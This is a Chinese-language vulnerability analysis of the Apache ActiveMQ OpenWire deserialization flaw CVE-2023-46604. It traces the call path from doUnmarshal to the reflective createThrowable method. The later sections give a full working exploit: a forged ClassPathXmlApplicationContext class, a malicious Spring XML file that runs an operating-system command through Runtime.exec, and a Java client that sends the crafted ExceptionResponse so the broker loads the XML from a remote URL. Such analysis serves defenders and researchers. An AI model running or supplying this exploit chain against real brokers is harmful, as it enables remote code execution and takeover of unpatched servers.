ActiveMQ RCE CVE-2023-46604分析

一、漏洞触发点

org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller类的createThrowable方法。

java 复制代码
package org.apache.activemq.openwire.v12;
BaseDataStreamMarshaller类
    
private Throwable createThrowable(String className, String message) {
        try {
            Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
            Constructor constructor = clazz.getConstructor(new Class[] {String.class});
            return (Throwable)constructor.newInstance(new Object[] {message});
        } catch (Throwable e) {
            return new Throwable(className + ": " + message);
        }
    }

这里通过反射,实现了一个类的构造执行。所以需要找到这样一个类传递进去,类的构造方法参数为String,且能达到攻击效果。

activemq包含Spring,而ClassPathXmlApplicationContext类刚好能满足。

java 复制代码
public class MainClassPathXmlApplicationContext {
    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext();
        Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader());
        Constructor constructor = aClass.getConstructor(new Class[]{String.class});
        constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"});
    }
}

二、触发流程

createThrowable的触发来源两处

  1. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable
  2. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.looseUnmarsalThrowable

tightUnmarsalThrowable和looseUnmarsalThrowable的作用是将字节流反序列化为异常对象,并将其抛出。在 ActiveMQ 的消息传递过程中,异常对象可以用于在消息发送和接收之间传递错误信息或异常状态。通过将异常对象序列化并作为消息的一部分发送,接收方可以获取到发送方抛出的异常,并反序列化后处理。

这两处继续往上寻找触发点,一共有三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable:

  1. ConnectionErrorMarshaller
  2. ExceptionResponseMarshaller
  3. MessageAckMarshaller

三类都存在tightUnmarshal和looseUnmarshal方法,两个方法分别触发tightUnmarshal和looseUnmarsalThrowable。

继续向上寻找,触发均来自OpenWireFormat类的doUnmarshal,该方法是OpenWire协议的反序列化方法。

在doUnmarshal中,根据dataType索引值对应的类,来执行对应类的tightUnmarshal或looseUnmarshal。

java 复制代码
public Object doUnmarshal(DataInput dis) throws IOException {
        byte dataType = dis.readByte();
        if (dataType != NULL_TYPE) {
            DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
            if (dsm == null) {
                throw new IOException("Unknown data type: " + dataType);
            }
            Object data = dsm.createObject();
            if (this.tightEncodingEnabled) {
                BooleanStream bs = new BooleanStream();
                bs.unmarshal(dis);
                dsm.tightUnmarshal(this, data, dis, bs);
            } else {
                dsm.looseUnmarshal(this, data, dis);
            }
            return data;
        } else {
            return null;
        }
    }

dataType在dataMarshallers中对应的上述三种类索引如下:

  1. ConnectionErrorMarshaller---16
  2. ExceptionResponseMarshaller---31
  3. MessageAckMarshaller---22

doUnmarshal再往上就是unmarshal,这也是所有数据接收的入口。

通过这里的分析,只要我们将ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。

三、传递的对象类型

通过上述知道dataType需要为16、31、22。当发送的对象类为ConnectionErrorExceptionResponseMessageAck 的时候dataType分别是16、31、22。

而这三个类接收的exception参数需要继承Throwable,所以可以在本地构造一个与Spring同路径名的ClassPathXmlApplicationContext类并继承Throwable,当ClassPathXmlApplicationContext对象发送后,类路径和message会被解析,最后服务器侧通过类路径反射得到Spring中的ClassPathXmlApplicationContext对象,达到攻击效果。

java 复制代码
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

四、如何发送序列化对象

Transport的oneway可实现对象发送,ActiveMQ的连接对象为ActiveMQConnection类,通过使用ActiveMQConnection类中asyncSendPacket最终调用Transport的oneway,来发送恶意对象。

java 复制代码
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);

五、利用方式

远程XML文件

xml 复制代码
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
   <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
   <bean id="process" factory-bean="runtime" factory-method="exec">
       <constructor-arg value="cmd /c start calc" />
   </bean>
</beans>

ClassPathXmlApplicationContext类

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

最终实现

java 复制代码
import javax.jms.*;

public class Main {
    private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616";
    public static void main(String[] args) throws Exception {
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
        Connection connection = activeMQConnectionFactory.createConnection();
        connection.start();
        Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
        ExceptionResponse exceptionResponse = new ExceptionResponse(obj);
//      ConnectionError connectionError = new ConnectionError();
//      connectionError.setException(obj);

//      MessageAck messageAck = new MessageAck();
//      messageAck.setPoisonCause(obj);
        ((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
        connection.close();
    }
}